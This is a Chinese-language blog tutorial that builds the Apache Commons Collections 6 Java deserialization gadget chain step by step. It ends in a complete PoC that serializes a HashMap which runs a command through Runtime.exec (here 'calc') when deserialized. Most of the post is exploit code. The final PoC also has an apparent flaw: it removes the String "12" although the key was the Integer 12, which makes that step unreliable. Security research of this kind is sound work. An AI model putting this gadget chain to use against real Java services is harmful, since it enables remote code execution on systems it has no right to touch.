Apache Commons Collections 6

Apache Commons Collections 6

Java 反序列化当中,CC6 链被称为是最好用的 CC 链,它可以不受 jdk 版本的约束进行反序列化攻击

cc6前面跟cc1LazyMap链相似,都是通过ChainedTransformer类链式调用InvokerTransformer类完成反射创建Runtime对象,再通过LazyMap类的get方法完成命令执行。

cc1LazyMap链是利用动态代理执行get方法。而cc6在TiedMapEntry类的getValue方法里调用了get方法,并且参数可控

TiedMapEntry.getValue

在getValue方法里调用了get方法

image-20250808222429729

查看TiedMapEntry类构造方法,发现参数可控,如果将map参数传入构造好的LazyMap对象,那么就会调用get方法。

image-20250808222530951

编写poc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
public class getValue {
public static void main(String[] args) {
Transformer[] transformers = new Transformer[]{
//入口参数强制转换
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}),
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object, Object> map = new HashMap<>();
//当lazyMap类开始调用时,就会执行chainedTransformer.transform方法,等于chainedTransformer.transform("任意字符串");
Map<Object,Object> lazyMap = LazyMap.decorate(map,chainedTransformer );
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, 12);
tiedMapEntry.getValue();
}
}

成功执行

image-20250808222957662

TiedMapEntry.hashCode

寻找调用getValue方法的地方,发现TiedMapEntry类的hashCode放法调用了getValue

image-20250808223208704

修改poc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
public class getValue {
public static void main(String[] args) {
Transformer[] transformers = new Transformer[]{
//入口参数强制转换
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}),
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object, Object> map = new HashMap<>();
//当lazyMap类开始调用时,就会执行chainedTransformer.transform方法,等于chainedTransformer.transform("任意字符串");
Map<Object,Object> lazyMap = LazyMap.decorate(map,chainedTransformer );
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, 12);
tiedMapEntry.hashCode();
}
}

依旧成功

image-20250808223248004

HashMap

继续寻找调用hashCode的方法,发现HashMap类的hash方法调用了hashCode

image-20250808223522488

而在readObject方法,刚好调用了hash函数,完全符合反序列化条件

image-20250808223655665

编写poc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
public class hashMap {
public static void main(String[] args) {
Transformer[] transformers = new Transformer[]{
//入口参数强制转换
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}),
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object, Object> map = new HashMap<>();
//当lazyMap类开始调用时,就会执行chainedTransformer.transform方法,等于chainedTransformer.transform("任意字符串");
Map<Object,Object> lazyMap = LazyMap.decorate(map,chainedTransformer );
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, 12);

HashMap<Object, Object> hashMap = new HashMap<>();
hashMap.put(tiedMapEntry, "value");
}
}

发现put函数也会调用hash函数

1
2
3
public V put(K key, V value) {
return putVal(hash(key), key, value, false, true);
}

因此需要在使用put前使用无用对象,将对象放入map后再修改为恶意对象

修改poc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
public class hashMap {
public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[]{
//入口参数强制转换
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}),
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object, Object> map = new HashMap<>();
//当lazyMap类开始调用时,就会执行chainedTransformer.transform方法,等于chainedTransformer.transform("任意字符串");
Map<Object,Object> lazyMap = LazyMap.decorate(map, new ConstantTransformer("1"));
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, 12);

HashMap<Object, Object> hashMap = new HashMap<>();
hashMap.put(tiedMapEntry, "value");
Field factory = LazyMap.class.getDeclaredField("factory");
factory.setAccessible(true);
factory.set(lazyMap,chainedTransformer);

serialize(hashMap);
deserialize();

}

public static void serialize(Object obj) throws Exception {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser4.bin"));
oos.writeObject(obj);
}


public static void deserialize() throws Exception {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream("ser4.bin"));
Object o = ois.readObject();
System.out.println(o);

}
}

HashMap.remove

以及构建了利用链,但反序列化却无法执行

当前利用链如下

1
HashMap.readObject()->HashMap.hash()->TiedMapEntry.hashCode()->TiedMapEntry.getValue()->LazyMap.get()->ChainedTransformer.transform()

因为TiedMapEntry对象被传入HashMap对象的readObject方法中,调用hash方法,会执行TiedMapEntry.hashCode()方法。而LazyMap对象被当作map传入TiedMapEntry,执行hashCode()方法则会调用LazyMap对象的get方法,而在get方法里,又会调用lazymap传入的map对象的containsKey(key),这个key就是TiedMapEntry对象传入的key。在第一次序列化的时候,就会通过containsKey(key)判断map里有没有key,此时当然是没有,然后就会调用**Object value = factory.transform(key);map.put(key, value);**往map里写入key和value,因此我们需要在写入后,序列化前删除这个key。

在 CC6 利用链中,TiedMapEntry 对象被作为 key 放入了一个 HashMap 中。当反序列化触发 HashMap.readObject() 时,会调用 key 的 hashCode() 方法,即 TiedMapEntry.hashCode()

由于 TiedMapEntry 内部持有一个 LazyMap 作为 map,这个 hashCode() 方法中会调用 lazyMap.get(key),而 LazyMap.get(key) 的逻辑是:如果底层的 map 中不包含该 key,就会调用 transformer.transform(key) 来生成 value,并将 key-value 存入 map。

而在第一次执行时,如果底层的 map 中还没有这个 key,transform() 就会被触发,恶意代码得以执行。但是在构造时就已经触发过一次 get(比如调用了 tiedMapEntry.hashCode(),就会继续调用Object value = factory.transform(key);map.put(key, value);),那么 key 已经存在于底层 map 中,反序列化时再次调用 get(key) 就不会再触发 transform() 了。

因此,为了保证反序列化时能够成功触发 transform(),在序列化前必须调用 map.remove(key),把 key 从底层 map 中移除,从而确保在反序列化阶段 LazyMap.get(key) 时会重新进入 transform(),触发恶意代码执行。

最终poc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
package cc6Test;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;

public class hashMap {
public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[]{
//入口参数强制转换
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}),
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object, Object> map = new HashMap<>();

Map<Object,Object> lazyMap = LazyMap.decorate(map, new ConstantTransformer("1"));
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, 12);

HashMap<Object, Object> hashMap = new HashMap<>();
hashMap.put(tiedMapEntry, "value");
Field factory = LazyMap.class.getDeclaredField("factory");
factory.setAccessible(true);
factory.set(lazyMap,chainedTransformer);
map.remove("12");

serialize(hashMap);
deserialize();

}

public static void serialize(Object obj) throws Exception {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser4.bin"));
oos.writeObject(obj);
}


public static void deserialize() throws Exception {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream("ser4.bin"));
Object o = ois.readObject();
System.out.println(o);

}
}

image-20251204185924769

参考链接

https://www.cnblogs.com/icfh/p/17675095.html


Apache Commons Collections 6
http://xiaowu5.cn/2025/12/04/Apache-Commons-Collections-6/
作者
5
发布于
2025年12月4日
许可协议
BY XIAOWU